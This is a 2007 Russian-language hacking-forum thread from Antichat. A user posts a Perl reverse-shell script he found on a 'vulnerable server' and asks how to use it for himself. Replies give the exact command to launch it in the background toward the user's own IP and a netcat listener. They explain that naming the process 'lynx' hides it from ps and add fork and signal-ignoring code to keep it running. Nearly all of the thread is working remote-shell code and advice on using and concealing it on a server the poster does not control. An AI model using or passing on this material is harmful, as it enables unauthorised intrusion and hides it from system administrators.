ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

нашол Perl скрипт
  #1  
Старый 02.08.2007, 15:38
Аватар для ya_mag
ya_mag
Познающий
Регистрация: 18.01.2007
Сообщений: 63
Провел на форуме:
292941

Репутация: 27
По умолчанию нашол Perl скрипт

вот на одном уязвимом серваке нашол такое:
Код:
#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);
я так понимаю это что то вроде бакконекта? ни ули что то ещё.. я просто в перле вобще не соображаю вопрос: как его заюзать для себя?
на серваке php инклуд консоль работает даже с правами какогото юзера
 
Ответить с цитированием

  #2  
Старый 02.08.2007, 15:50
Аватар для Helios
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

Загрузи этот файл на сервер, затем в консоли выполни
Код:
perl your_script.pl 192.168.19.217 12345 >/dev/null &
где your_script.pl - имя скрипта, который ты загрузишь,
192.168.19.217 - твой IP
12345 - порт, на котором ты запустишь неткат на своей машине и будешь ждать коннекта

>/dev/null - перенаправление всего, что будет выводить твой скрипт в консоль на сервере в никуда

& - исполнять в фоне
 
Ответить с цитированием

  #3  
Старый 02.08.2007, 16:10
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

по моему скрипт просто перенаправляет вывод браузера lynx в сокет
 
Ответить с цитированием

  #4  
Старый 02.08.2007, 16:23
Аватар для Helios
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

Выводит он информацию о системе и пользователе, после чего запускает /bin/sh
PHP код:
$system'echo "`uname -a`";echo "`id`";/bin/sh';
.....
system($system); 
А под lynx, скорее всего, просто маскируется. (точно не знаю, т.к. perl-кодер из меня не ахти какой)
 
Ответить с цитированием

  #5  
Старый 02.08.2007, 19:18
Аватар для KSURi
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Код:
$cmd= "lynx"; ... $0=$cmd;
Правильно, этот код спрячет скрипт от ps. Но по хорошему еще надо добавлять \0 (нулевой байт) в конец названия "левого" процесса насколько я помню
 
Ответить с цитированием

  #6  
Старый 02.08.2007, 19:32
Аватар для fYt
fYt
Познающий
Регистрация: 11.01.2007
Сообщений: 82
Провел на форуме:
592893

Репутация: 108
По умолчанию

Можно добавить такой код в начало и еще игнорирование сигналов.
Код:
my $pid=fork;
exit if $pid;
$SIG{'INT'}='IGNORE';
$SIG{'HUP'}='IGNORE';
$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE';
$SIG{'PS'}='IGNORE';

Последний раз редактировалось fYt; 02.08.2007 в 19:38..
 
Ответить с цитированием

  #7  
Старый 14.08.2007, 15:53
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

Да, но некоторые сигналы заигнорить не получится...какие имеено - надо читать доку по Posix сигналам

ЗЫЖ И код не ахти какой: где-же use strict; и use warnings; ??? =)
Этим можно избежать многих проблем

ЗЗЫЖ Оффтоплю? Сорри
 
Ответить с цитированием

  #8  
Старый 14.08.2007, 15:56
Аватар для fYt
fYt
Познающий
Регистрация: 11.01.2007
Сообщений: 82
Провел на форуме:
592893

Репутация: 108
По умолчанию

Из этих все получится. Не игонорится SIGKILL.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нужен скрипт на Perl GrAmOzEkA Разное - Покупка, продажа, обмен 5 20.11.2006 17:47
Скрипт Perl: Узнавалка версии phpBB DetMyl PHP, PERL, MySQL, JavaScript 4 14.02.2006 00:48
Books Perl FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:58
Безопасность приложений на Perl k00p3r Чужие Статьи 0 12.06.2005 09:39



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ